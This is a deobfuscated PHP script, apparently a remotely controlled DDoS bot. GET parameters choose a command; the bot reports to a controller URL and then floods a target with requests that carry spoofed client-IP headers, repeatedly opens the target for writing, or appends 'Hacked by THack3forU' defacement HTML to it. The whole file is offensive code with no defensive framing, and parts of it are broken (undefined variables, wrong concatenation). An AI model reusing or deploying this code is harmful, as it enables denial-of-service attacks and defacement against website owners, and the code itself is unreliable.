PHP Decode

error_reporting(0);
$otstyk = $_GET['otstyk'];
$url = $_GET['url'];
$kl = $_GET['kl'];
$command = $_GET['command'];
function generateKey($lengt=9){
$chars='abdefhiknrstyzABDEFGHKNQRSTYZ23456789';
$numChars=strlen($chars);
$string='';
for($i=0;$i<$length;$i++){
$string.=substr($chars,rand(1,$numChars)-1,1);
}return $string;
}
generateKey(9);
$botid= "new ddos_bot(server) key="+$string; 

if($command=='otstyk'){
    $opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en-us,en;q=0.5
" .
              "Accept_charset: windows-1251, utf-8, utf-16;q=0.6, *;q=0.1" .
              "Accept-Encoding: deflate, gzip, identity, *;q=0
" .
              "referer:$botid Command otstyk execute!"
  )
);
$context1 = stream_context_create($opts);

$file = file_get_contents($otstyk.'?log=log', false, $context1);
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en-us,en;q=0.5
" .
              "Accept_charset: windows-1251, utf-8, utf-16;q=0.6, *;q=0.1" .
              "Accept-Encoding: deflate, gzip, identity, *;q=0
" .
              "referer: $botid"
  )
);

$context1 = stream_context_create($opts);

$file = file_get_contents($otstyk, false, $context1);
 exit(); 
}

if($command=='ddos'){
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en-us,en;q=0.5
" .
              "Accept_charset: windows-1251, utf-8, utf-16;q=0.6, *;q=0.1" .
              "Accept-Encoding: deflate, gzip, identity, *;q=0
" .
              "referer:$botid Command ddos execute! Attack to $url requests: $kl"
  )
);

$context1 = stream_context_create($opts);

$file = file_get_contents($otstyk.'?log=log', false, $context1);
for($x = 0; $x <= $kl; $x++){
$rd1=rand(100,999);
$rd2=rand(100,999);
$rd3=rand(100,999);
$rd4=rand(100,999);
$ip =$rd1.'.'.$rd2.'.'.$rd3.'.'.$rd4; 
//  
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en-us,en;q=0.5
" .
              "Accept_charset: windows-1251, utf-8, utf-16;q=0.6, *;q=0.1" .
              "Accept-Encoding: deflate, gzip, identity, *;q=0
" .
              "Connection: close
" .
              "Keep-Alive: 300
" .
              "Expires: Thu, 01 Jan 2017 00:00:01 GMT
" .
              "Cache-Control: no-store, no-cache, must-revalidate
" .
              "Pragma: no-cache
" .
              "Referer: $url
" .
              "User-Agent: <style> body{ background:red;color:black;}</style><center><h1>Hacked by THack3forU</h1></center><center><h2>You are Lamer...This site will been hacked!</h2></center>
" .
              "X-FORWARDED-FOR:".ip .
              "X-FORWARDED-FOR:".ip . 
              "Client-ip:".ip .
              "Client-ip:".ip . 
              "X-REAL-IP:".ip . 
              "X-REAL-IP:".ip .
              "CF-CONNECTING-IP:".ip .
              "CF-CONNECTING-IP:".ip .
              "REMOTE_ADRR:".ip .   
              "REMOTE_ADRR:".ip .
              "HTTP_CF_CONNECTING_IP:".ip . 
              "HTTP_X_REAL_IP:".ip . 
              "HTTP_CLIENT_IP:".ip .
              "HTTP_X_FORWARDED_FOR:".ip 
  )
);

$context = stream_context_create($opts);

$file = file_get_contents($url, false, $context);
}
}
if($command=='ddos2'){
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en-us,en;q=0.5
" .
              "Accept_charset: windows-1251, utf-8, utf-16;q=0.6, *;q=0.1" .
              "Accept-Encoding: deflate, gzip, identity, *;q=0
" .
              "referer:$botid Command ddos 2 execute! Attack to $url requests: $kl"
  )
);

$context1 = stream_context_create($opts);

$file = file_get_contents($otstyk.'?log=log', false, $context1);
for($x = 0; $x <= $kl; $x++){
$f=fopen($url,'w'); 
}
}

if($command=='ddos3'){
    $opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en-us,en;q=0.5
" .
              "Accept_charset: windows-1251, utf-8, utf-16;q=0.6, *;q=0.1" .
              "Accept-Encoding: deflate, gzip, identity, *;q=0
" .
              "referer:$botid Command ddos 3 execute! Attack to $url requests: $kl"
  )
);
$context1 = stream_context_create($opts);

$file = file_get_contents($otstyk.'?log=log', false, $context1);
for($x = 0; $x <= $kl; $x++){
$attack=fopen($url,'a+'); 
$text="  <style> body{ background:red;color:black;}</style><center><h1>Hacked by THack3forU</h1></center><center><h2>You are Lamer...This site will been hacked!</h2></center>"; 
$write=fwrite($attack,$text.PHP_EOL); 
fclose($list);
}
}